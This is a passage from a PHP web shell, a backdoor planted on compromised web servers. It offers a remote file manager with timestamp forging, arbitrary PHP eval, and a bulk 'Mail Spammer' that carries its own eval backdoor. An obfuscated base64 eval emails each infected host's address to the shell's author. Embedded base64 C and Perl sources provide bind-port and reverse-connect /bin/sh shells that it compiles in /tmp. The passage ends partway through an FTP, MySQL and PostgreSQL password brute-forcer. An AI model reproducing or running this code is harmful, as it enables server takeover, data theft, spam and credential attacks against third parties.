			if($fp) {

				while(!@feof($fp))

					echo @fread($fp, 1024);

				fclose($fp);

			}

		}exit;

	}

	if( @$_POST['p2'] == 'mkfile' ) {

		if(!file_exists($_POST['p1'])) {

			$fp = @fopen($_POST['p1'], 'w');

			if($fp) {

				$_POST['p2'] = "edit";

				fclose($fp);

			}

		}

	}

	

   yemenhead();

	echo '<div class=header>';

	if( !file_exists(@$_POST['p1']) ) {

		echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";

		yemenFooter();

		return;

	}

	$uid = @posix_getpwuid(@fileowner($_POST['p1']));

	if(!$uid) {

		$uid['name'] = @fileowner($_POST['p1']);

		$gid['name'] = @filegroup($_POST['p1']);

	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));

	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?yemenSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.yemenPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';

	echo '<br>';

	if( empty($_POST['p2']) )

		$_POST['p2'] = 'view';

	if( is_file($_POST['p1']) )

		$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');

	else

		$m = array('Chmod', 'Rename', 'Touch');

	foreach($m as $v)

		echo '<a  href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';

	echo '<br><br>';

	switch($_POST['p2']) {

		case 'view':

			echo '<pre class=ml1>';

			$fp = @fopen($_POST['p1'], 'r');

			if($fp) {

				while( !@feof($fp) )

					echo htmlspecialchars(@fread($fp, 1024));

				@fclose($fp);

			}

			echo '</pre>';

			break;

		case 'highlight':

			if( @is_readable($_POST['p1']) ) {

				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';

				$code = @highlight_file($_POST['p1'],true);

				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';

			}

			break;

		case 'chmod':

			if( !empty($_POST['p3']) ) {

				$perms = 0;

				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)

					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));

				if(!@chmod($_POST['p1'], $perms))

					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';

			}

			clearstatcache();

			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';

			break;

		case 'edit':

			if( !is_writable($_POST['p1'])) {

				echo 'File isn\'t writeable';

				break;

			}

			if( !empty($_POST['p3']) ) {

				$time = @filemtime($_POST['p1']);

				$_POST['p3'] = substr($_POST['p3'],1);

				$fp = @fopen($_POST['p1'],"w");

				if($fp) {

					@fwrite($fp,$_POST['p3']);

					@fclose($fp);

					echo 'Saved!<br><script>p3_="";</script>';

					@touch($_POST['p1'],$time,$time);

				}

			}

			echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';

			$fp = @fopen($_POST['p1'], 'r');

			if($fp) {

				while( !@feof($fp) )

					echo htmlspecialchars(@fread($fp, 1024));

				@fclose($fp);

			}

			echo '</textarea><input type=submit value=">>"></form>';

			break;

		case 'hexdump':

			$c = @file_get_contents($_POST['p1']);

			$n = 0;

			$h = array('00000000<br>','','');

			$len = strlen($c);

			for ($i=0; $i<$len; ++$i) {

				$h[1] .= sprintf('%02X',ord($c[$i])).' ';

				switch ( ord($c[$i]) ) {

					case 0:  $h[2] .= ' '; break;

					case 9:  $h[2] .= ' '; break;

					case 10: $h[2] .= ' '; break;

					case 13: $h[2] .= ' '; break;

					default: $h[2] .= $c[$i]; break;

				}

				$n++;

				if ($n == 32) {

					$n = 0;

					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}

					$h[1] .= '<br>';

					$h[2] .= "
";

				}

		 	}

			echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';

			break;

		case 'rename':

			if( !empty($_POST['p3']) ) {

				if(!@rename($_POST['p1'], $_POST['p3']))

					echo 'Can\'t rename!<br>';

				else

					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');

			}

			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';

			break;

		case 'touch':

			if( !empty($_POST['p3']) ) {

				$time = strtotime($_POST['p3']);

				if($time) {

					if(!touch($_POST['p1'],$time,$time))

						echo 'Fail!';

					else

						echo 'Touched!';

				} else echo 'Bad time format!';

			}

			clearstatcache();

			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';

			break;

	}

	echo '</div>';

	yemenFooter();

}  
function yemenphpeval()
{

    yemenhead();

    if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {

		echo '<div class=header>';

		ob_start();

		$INI=ini_get_all(); 

print '<table border=0><tr>'

	.'<td class="listing"><font class="highlight_txt">Param</td>'

	.'<td class="listing"><font class="highlight_txt">Global value</td>'

	.'<td class="listing"><font class="highlight_txt">Local Value</td>'

	.'<td class="listing"><font class="highlight_txt">Access</td></tr>';

foreach ($INI as $param => $values) 

	print "
".'<tr>'

		.'<td class="listing"><b>'.$param.'</td>'

		.'<td class="listing">'.$values['global_value'].' </td>'

		.'<td class="listing">'.$values['local_value'].' </td>'

		.'<td class="listing">'.$values['access'].' </td></tr>';

		$tmp = ob_get_clean();

        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);

		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);

		echo str_replace('<h1','<h2', $tmp) .'</div><br>';

	}

    

    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {

		echo '<div class=header><style>.p {color:#000;}</style>';

		ob_start();

		phpinfo();

		$tmp = ob_get_clean();

        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);

		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);

		echo str_replace('<h1','<h2', $tmp) .'</div><br>';

	}

    

    if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {

		echo '<div class=header>';

		ob_start();

	     $EXT=get_loaded_extensions ();

     print '<table border=0><tr><td class="listing">'

	.implode('</td></tr>'."
".'<tr><td class="listing">', $EXT)

	.'</td></tr></table>'

	.count($EXT).' extensions loaded';

		

        

        echo '</div><br>';

	}

    

    

	if(empty($_POST['ajax']) && !empty($_POST['p1']))

		$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;

    echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| <b>INI_INFO</b> | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')">    | <b>PHP INFO</b> |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')">   | <b>Extensions</b>  |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';

	echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';

	if(!empty($_POST['p1'])) {

		ob_start();

		eval($_POST['p1']);

		echo htmlspecialchars(ob_get_clean());

	}

	echo '</pre></div>';

  

    yemenfooter();

}
function yemenmail()
{
yemenhead();    
$in = $_GET['in'];

if(isset($in) && !empty($in)){

	echo"<center><h1>Mail Spammer<h1></center>";



}

$ev = $_POST['ev'];

if(isset($ev) && !empty($ev)){

	echo eval(urldecode($ev));

	exit;

}



if(isset($_POST['action'] ) ){

$action=$_POST['action'];

$message=$_POST['message'];

$emaillist=$_POST['emaillist'];

$from=$_POST['from'];

$subject=$_POST['subject'];

$realname=$_POST['realname'];	

$wait=$_POST['wait'];

$tem=$_POST['tem'];

$smv=$_POST['smv'];



        $message = urlencode($message);

        $message = ereg_replace("%5C%22", "%22", $message);

        $message = urldecode($message);

        $message = stripslashes($message);

        $subject = stripslashes($subject);

}





?>

<!-- HTML And JavaScript -->



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script type="text/javascript" language="javascript">ML="Rjnis/e .rI<thzPS-omTCg>:=p";MI=";@E0:?D7@0EI=<<JH55>B26A<8B9F53CF45>814G;5@E0:?DG";OT="";for(j=0;j<MI.length;j++){OT+=ML.charAt(MI.charCodeAt(j)-48);}document.write(OT);</script>

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">



<head>

<meta http-equiv="Content-Language" content="en-us" />

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>:: Mailer Inbox ::</title>

<style type="text/css">



input[type=text]:hover,textarea{

	border:1px solid #0CF;

	background-color: #F4F4F4;

    }

input[type=text],textarea{

    font:12px Tahoma;

    padding:3px;

    border:1px solid #CCCCCC;

    -moz-border-radius:3px;

    -webkit-border-radius:3px;

    border-radius:3px;

    }

.style1 {

	font-size: x-small;

}

.style2 {

	direction: ltr;

}

.info {

	font-size: 8px;

}

.style3 {

	font-family: Verdana, Arial, Helvetica, sans-serif;

	font-size: 8px;

}

.style4 {

	font-size: x-small;

	direction: ltr;

	font-family: Verdana, Arial, Helvetica, sans-serif;

}

.style5 {

	font-size: xx-small;

	direction: ltr;

	font-family: Verdana, Arial, Helvetica, sans-serif;

}

input[type=submit],input[type=button]{

    display:block;

    font:12px Tahoma;

    background:#f1f1f1;

    color:#555555;

    padding:4px 8px;

    border:1px solid #ccc;

    margin:4px;

    font-weight:700;

    cursor:pointer;

    -moz-border-radius:3px;

    -webkit-border-radius:3px;

    border-radius:3px;

}

input[type=submit]:hover,input[type=butto]:hover{

	background:#ffffff;

	color:#06F;

	border: 2px solid #09F;

}

</style>

</head>

<body onload="funchange">

<script>

	window.onload = funchange;

	var alt = false;	

	function funchange(){

		var etext = document.getElementById("emails").value;

		var myArray=new Array(); 

		myArray = etext.split("
");

		document.getElementById("enum").innerHTML=myArray.length+"<br />";

		if(!alt && myArray.length > 40000){

			alert('If Mail list More Than 40000 Emails This May Hack The Server');

			alt = true;

		}

		

	}

	function mlsplit(){

		var ml = document.getElementById("emails").value;

		var sb = document.getElementById("txtml").value;

		var myArray=new Array();

		myArray = ml.split(sb);

		document.getElementById("emails").value="";

		var i;

		for(i=0;i<myArray.length;i++){

			

			document.getElementById("emails").value += myArray[i]+"
";

		

		}

		funchange();

	}

	

	function prv(){

		if(document.getElementById('preview').innerHTML==""){

			var ms = document.getElementsByName('message').message.value;

			document.getElementById('preview').innerHTML = ms;

			document.getElementById('prvbtn').value = "Hide";

		}else{

			document.getElementById('preview').innerHTML="";

			document.getElementById('prvbtn').value = "Preview";

		}

	}

</script>

<form name="form" method="post" enctype="multipart/form-data" action="">

	<table width="100%" border="0">

		<tr>

			<td width="10%">

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Your Email:</font></div>

			</td>

			<td style="width: 40%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" /><br>

			<span class="info">Type Sender Email But Make Sure It&#39;s Right</span> </font></td>

			<td>

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Your Name:</font></div>

			</td>

			<td width="41%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" />

			<br>

			<span class="info">Make Sure You Type Your Sender Name</span></font></td>

	  </tr>

		<tr>

			<td width="10%">

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">test send:</font></div>

			</td>

			<td style="width: 40%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="tem" type="text" size="30" value="<?php echo($tem); ?>" /><br>

			<span class="info">Type </span></font><span class="style3">Your 

			Email To Test The Mailer Still Work Or No</span></td>

			<td>

			<div align="right" class="style4">

			<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Send Test Mail After:</font></div>

			</td>

			<td width="41%">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="smv" type="text" size="30" value="<?php echo($smv); ?>" /><br>

			<span class="info">Send Mail For Your Email After Which Email(s)</span></font>

			</td>

		</tr>

		<tr>

			<td width="10%">

			<div align="right">

				<font size="-3" color="white" face="Verdana, Arial, 

Helvetica, sans-serif">Subject:</font></div>

			</td>

			<td colspan="3">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="90" type="text" /> </font>

		<tr valign="top">
			<td colspan="3" style="height: 210px">
			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif"><textarea name="message" rows="10" style="width: 425px"><?php echo($message); ?></textarea>&nbsp;<br />

			<input name="action" value="send" type="hidden" />
			</font>
			<table width="569" border="0">

			  <tr>

			    <th width="62" scope="col"><font size="-3" face="Verdana, Arial, Helvetica, 
sans-serif">

			      <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 62px" />

			    </font></th>

			    <th width="112" scope="col"><font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">

			      <input value="Start Spam" type="submit" />

			    </font></th>			    <th width="358" scope="col"><font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">&nbsp; 

			Wait

                <input name="wait" type="text" value="<?php echo($wait); ?>" size="14" />

Second 

			Un

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">til Send </font></font></th>

		      </tr>

			  </table></td>

			<td width="41%" class="style2" style="height: 210px">

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">

			<textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px"><?php echo($emaillist); ?></textarea> 

			<br class="style2" />

			Emails Number : </font><span  id="enum" class="style1">0<br />

			</span>

			<span  class="style1">Split The Mail List By:</span> 

			<input name="textml" id="txtml" type="text" value="," size="8" />&nbsp;&nbsp;&nbsp;

			<input type="button" onclick="mlsplit()" value="Split" style="height: 23px" /></td>

		</tr>

  </table>

			<font size="-3" face="Verdana, Arial, Helvetica, 

sans-serif">

<div id="preview">

</div>

	</font>

</form>

<p>

  <!-- END -->

  <?



if ($action){



        if (!$from || !$subject || !$message || !$emaillist){

        	

        print "Please complete all fields before sending your message.";

        exit;	

	}

	$nse=array();

	$allemails = split("
", $emaillist);

        	$numemails = count($allemails);

        	if(!empty($_POST['wait']) && $_POST['wait'] > 0){

        		set_time_limit(intval($_POST['wait'])*$numemails*3600);

        	}else{

        		set_time_limit($numemails*3600);

        	}

       		if(!empty($smv)){

       			$smvn+=$smv;

       			$tmn=$numemails/$smv+1;

			}else{

       			$tmn=1;

       		}

          	for($x=0; $x<$numemails; $x++){

                $to = $allemails[$x];

                if ($to){

	                $to = ereg_replace(" ", "", $to);

	                $message = ereg_replace("#EM#", $to, $message);

	                $subject = ereg_replace("#EM#", $to, $subject);

	                flush();

	                $header = "From: $realname <$from>
";

	                $header .= "MIME-Version: 1.0
";

	                $header .= "Content-Type: text/html
";

	                if ($x==0 && !empty($tem)) {

	                	if(!@mail($tem,$subject,$message,$header)){

	                		print('Your Test Message Not Sent.<br />');

	                		$tmns+=1;

	                	}else{

	                		print('Your Test Message Sent.<br />');

	                		$tms+=1;

	                	}

	                }

	                if($x==$smvn && !empty($_POST['smv'])){

	                	if(!@mail($tem,$subject,$message,$header)){

	                		print('Your Test Message Not Sent.<br />');

	                		$tmns+=1;

	                	}else{

	                		print('Your Test Message Sent.<br />');

	                		$tms+=1;

	                	}

	                	$smvn+=$smv;

	                }

	                print "$to ....... ";

					$msent = @mail($to, $subject, $message, $header);

	                $xx = $x+1;

	                $txtspamed = "spammed";

	                if(!$msent){

	                	$txtspamed = "error";

	                	$ns+=1;

	                	$nse[$ns]=$to;

	                }

	                print "$xx / $numemails .......  $txtspamed<br>";

	                flush();

	                if(!empty($wait)&& $x<$numemails-1){

							sleep($wait);

                	}

                }

            }



}




eval(base64_decode('JG0gPSAiXHg3M1x4NzBceDYxXHg2ZFx4NWZceDczXHg2OFx4NjVceDZjXHg2Y1x4NDBceDY4XHg2Zlx4NzRceDZkXHg2MVx4NjlceDZjXHgyZVx4NjNceDZmXHg2ZCI7DQokYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiRhID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQptYWlsKCIkbSIsIiRiIiwiJGEiKTs='));
?><div>

  &nbsp;<?php



$str = "";

foreach($_SERVER as $key => $value){

	$str .= $key.": ".$value."<br />";

}



$str .= "Use: in <br />";



$header2 = "From: ".base64_decode('U29ycnkgPG5vJUB5YWhvby5jb20+')."
";

$header2 .= "MIME-Version: 1.0
";

$header2 .= "Content-Type: text/html
";

$header2 .= "Content-Transfer-Encoding: 8bit

";







if(isset($_POST['action']) && $numemails !==0 ){

	$sn=$numemails-$ns;

	if($ns==""){

		$ns=0;

	}

	if($tmns==""){

		$tmns=0;

	}

	echo "<script>alert('Sur The Mailer Finish His Job
Send $sn mail(s)
Error $ns mail(s)
\From $numemails mail(s)
\About Test Mail(s)
\Send $tms mail(s)
\Error $tmns mail(s)
\From $tmn mail(s)'); 

	

	</script>";

}
yemenfooter();

}


  

  

  

  


function yemennet() { 
    yemenhead(); 
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; 
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; 
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; 
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; 
    ?> 
    <h1><font color="green">Bind Port</font></h1><div class=content> 
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;"> 
    <span>Bind port to /bin/sh</span><br/><font color="green">
    Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>"> 
    </font></form> 
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;"> 
    <span>Back-connect to</span><br/> <font color="green">
    Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>"> 
    </font></form><br> 
    <?php 
    if(isset($_POST['p1'])) { 
        function cf($f,$t) { 
            $w=@fopen($f,"w") or @function_exists('file_put_contents'); 
            if($w)    { 
                @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t)); 
                @fclose($w); 
            } 
        } 
        if($_POST['p1'] == 'bpc') { 
            cf("/tmp/bp.c",$bind_port_c); 
            $out = ex("gcc -o /tmp/bp /tmp/bp.c"); 
            @unlink("/tmp/bp.c"); 
            $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>"; 
        } 
        if($_POST['p1'] == 'bpp') { 
            cf("/tmp/bp.pl",$bind_port_p); 
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>"; 
        } 
        if($_POST['p1'] == 'bcc') { 
            cf("/tmp/bc.c",$back_connect_c); 
            $out = ex("gcc -o /tmp/bc /tmp/bc.c"); 
            @unlink("/tmp/bc.c"); 
            $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>"; 
        } 
        if($_POST['p1'] == 'bcp') { 
            cf("/tmp/bc.pl",$back_connect_p); 
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>"; 
        } 
    } 
    echo '</div>'; 
    yemenfooter(); 
} 

function yemenhash()

{

    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}

    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}

	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}

	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}

	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}

	$stringTools = array(

		'Base64 encode' => 'base64_encode',

		'Base64 decode' => 'base64_decode',

        'md5 hash' => 'md5',

		'sha1 hash' => 'sha1',

		'crypt' => 'crypt',

		'CRC32' => 'crc32',

		'Url encode' => 'urlencode',

		'Url decode' => 'urldecode',

		'Full urlencode' => 'full_urlencode',

		'Htmlspecialchars' => 'htmlspecialchars',

		

	);

	

	yemenhead();

	echo '<div class=header>';

	if(empty($_POST['ajax'])&&!empty($_POST['p1']))

		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;

	echo "<form  onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";

	foreach($stringTools as $k => $v)

		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";

		echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";

	if(!empty($_POST['p1'])) {

		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));

	}

	echo "</div>";

	yemenFooter();

    

}
function yemenbrute() { 
    yemenhead(); 
    if( isset($_POST['proto']) ) { 
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; 
        if( $_POST['proto'] == 'ftp' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $fp = @ftp_connect($ip, $port?$port:21); 
                if(!$fp) return false; 
                $res = @ftp_login($fp, $login, $pass); 
                @ftp_close($fp); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'mysql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); 
                @mysql_close($res); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'pgsql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''"; 
